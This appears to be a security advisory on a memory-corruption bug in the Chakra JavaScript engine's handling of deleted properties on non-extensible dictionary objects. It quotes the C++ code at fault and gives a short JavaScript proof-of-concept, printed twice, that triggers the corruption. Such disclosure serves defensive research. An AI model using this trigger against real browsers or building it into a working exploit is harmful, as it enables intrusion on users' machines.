Chakra implemented the reuse of deleted properties of an unordered dictionary object with the following code.
bool SimpleDictionaryUnorderedTypeHandler::TryReuseDeletedPropertyIndex(
DynamicObject *const object,
TPropertyIndex *const propertyIndex)
{
if(deletedPropertyIndex == PropertyIndexRanges<TPropertyIndex>::NoSlots)
{
return false;
}
*propertyIndex = deletedPropertyIndex;
deletedPropertyIndex = static_cast<TPropertyIndex>(TaggedInt::ToInt32(object->GetSlot(deletedPropertyIndex)));
return true;
}
bool SimpleDictionaryUnorderedTypeHandle::TryUndeleteProperty(
DynamicObject *const object,
const TPropertyIndex existingPropertyIndex,
TPropertyIndex *const propertyIndex)
{
...
if(!IsReusablePropertyIndex(existingPropertyIndex))
{
return false;
}
...
const bool reused = TryReuseDeletedPropertyIndex(object, propertyIndex);
Assert(reused);
...
return true;
}
BOOL SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetPropertyFromDescriptor(DynamicObject* instance, PropertyId propertyId, TPropertyKey propertyKey, SimpleDictionaryPropertyDescriptor<TPropertyIndex>* descriptor, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)
{
...
if (descriptor->Attributes & PropertyDeleted)
{
...
if(isUnordered)
{
TPropertyIndex propertyIndex;
if(AsUnordered()->TryUndeleteProperty(instance, descriptor->propertyIndex, &propertyIndex))
{
Assert(PropertyRecordStringHashComparer<TMapKey>::Equals(propertyMap->GetKeyAt(propertyIndex), propertyRecord));
descriptor = propertyMap->GetReferenceAt(propertyIndex);
}
}
if (IsNotExtensibleSupported)
{
bool isForce = (flags & PropertyOperation_Force) != 0;
if (!isForce)
{
if (!this->VerifyIsExtensible(scriptContext, throwIfNotExtensible))
{
return FALSE; <<------ (a)
}
}
}
...
descriptor->Attributes = PropertyDynamicTypeDefaults;
...
}
...
}
âTryUndeleteProperty
â is calling âTryReuseDeletedPropertyIndex
â on the assumption that the return value of it is always true. But if the method exits at (a), âdescriptor->Attributes
â will remain with âPropertyDeleted
â set, and therefore we can call âTryUndeleteProperty
â again and again until âdeletedPropertyIndex
â becames âNoSlots
â which makes âTryReuseDeletedPropertyIndex
â return false.
In the debug build, the PoC hits the assertion âAssert(reused);
â. In the release build, âpropertyIndex
â remains uninitialized, this will cause a memory corruption.
const kNumProperties = 100;
let o = {};
for (let i = 0; i < kNumProperties; ++i)
o['a' + i] = i;
Object.preventExtensions(o); // IsNotExtensibleSupported && !this->VerifyIsExtensible
for (let i = 0; i < kNumProperties; ++i)
delete o['a' + i];
for (let i = 0; i < 0x1000; ++i)
o['a0'] = 1; // calling TryUndeleteProperty again again
const kNumProperties = 100;
let o = {};
for (let i = 0; i < kNumProperties; ++i)
o['a' + i] = i;
Object.preventExtensions(o); // IsNotExtensibleSupported && !this->VerifyIsExtensible
for (let i = 0; i < kNumProperties; ++i)
delete o['a' + i];
for (let i = 0; i < 0x1000; ++i)
o['a0'] = 1; // calling TryUndeleteProperty again again